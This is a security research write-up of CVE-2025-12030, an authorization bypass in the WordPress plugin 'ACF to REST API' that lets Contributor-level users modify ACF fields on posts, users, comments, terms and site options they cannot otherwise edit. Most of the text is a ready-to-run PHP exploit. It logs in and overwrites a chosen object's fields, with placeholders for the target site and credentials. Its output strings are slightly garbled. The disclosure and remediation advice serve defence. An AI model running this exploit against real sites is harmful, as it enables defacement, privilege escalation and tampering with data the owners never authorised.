Atomic Edge analysis of CVE-2025-12030 (metadata-based):
The ACF to REST API plugin version 3.3.4 and earlier contains an authorization bypass vulnerability. The flaw allows authenticated users with the Contributor role or higher to modify Advanced Custom Fields (ACF) data on objects they lack permission to edit. This includes posts, users, comments, taxonomy terms, and global options via the plugin’s REST API endpoints.
Atomic Edge research identifies the root cause as an insecure direct object reference (IDOR) stemming from insufficient capability checks. The vulnerability description explicitly states the `update_item_permissions_check()` method only verifies the generic `edit_posts` capability. This check fails to validate object-specific permissions such as `edit_post($id)`, `edit_user($id)`, or `manage_options`. This analysis is inferred from the CWE-639 classification and the provided description, as source code is unavailable for confirmation.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker sends a PUT or POST request to the vulnerable REST API endpoint `/wp-json/acf/v3/{type}/{id}`. The `{type}` parameter specifies the object type (e.g., `posts`, `users`, `comments`, `taxonomies`, `options`). The `{id}` parameter is the numeric identifier of the target object. The request body contains the ACF field data to be modified. No further permission checks are performed on the target object ID.
Remediation requires implementing proper object-level authorization checks within the `update_item_permissions_check()` method. The fix must replace or supplement the generic `edit_posts` check with specific capability checks based on the object type and ID being requested. For posts, the method should call `edit_post($id)`. For users, it should call `edit_user($id)`. For the options page, it should verify the `manage_options` capability. This remediation approach is inferred from the CWE and the described missing checks.
The impact is unauthorized modification of sensitive site data. Attackers can alter post content, user profile fields, comment metadata, taxonomy terms, and global site options. This can lead to content defacement, privilege escalation by modifying user capabilities, site misconfiguration, or data integrity loss. The CVSS vector indicates low impact on confidentiality and availability, with a low impact on integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12030 - ACF to REST API <= 3.3.4 - Insecure Direct Object Reference to Authenticated (Contributor+) ACF Field/Option Modification
<?php
/**
* Proof of Concept for CVE-2025-12030.
* Assumptions:
* 1. The target site has the ACF to REST API plugin (<= v3.3.4) installed.
* 2. The attacker has valid Contributor-level credentials.
* 3. The target object (post, user, etc.) has ACF fields registered.
* 4. The plugin's REST API endpoints are active (default).
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Target object details
$object_type = 'posts'; // Can be: posts, users, comments, taxonomies, options
$target_object_id = 5; // ID of a post the attacker does NOT own
// Malicious ACF field data to inject.
// Field name/key must match an existing ACF field on the target object.
$acf_payload = array(
'acf' => array(
'field_abc123' => 'Hacked by Atomic Edge Research' // CHANGE field key
)
);
// Step 1: Authenticate to WordPress and obtain a REST API nonce (if required) or cookie session.
// Many WordPress REST endpoints require a valid authentication cookie.
// This PoC uses wp_rest cookie authentication via wp-login.php.
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)),
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true,
));
$login_response = curl_exec($ch);
// Step 2: Send the malicious PUT request to the vulnerable endpoint.
$endpoint = sprintf('/wp-json/acf/v3/%s/%d', $object_type, $target_object_id);
curl_setopt_array($ch, array(
CURLOPT_URL => $target_url . $endpoint,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => 'POST', // WordPress REST API uses POST for updates
CURLOPT_POSTFIELDS => json_encode($acf_payload),
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json',
'X-HTTP-Method-Override: PUT' // Some setups require this header for POST to act as PUT
),
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_HEADER => true,
));
$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output results.
echo "Atomic Edge PoC - CVE-2025-12030n";
echo "Target: $target_urln";
echo "Endpoint: $endpointn";
echo "HTTP Response Code: $http_coden";
if ($http_code >= 200 && $http_code < 300) {
echo "[SUCCESS] ACF fields on $object_type ID $target_object_id likely modified.n";
} else {
echo "[FAILURE] Exploit may have failed. Check credentials, object ID, and field key.n";
echo "Response snippet: " . substr($api_response, 0, 500) . "n";
}
?>
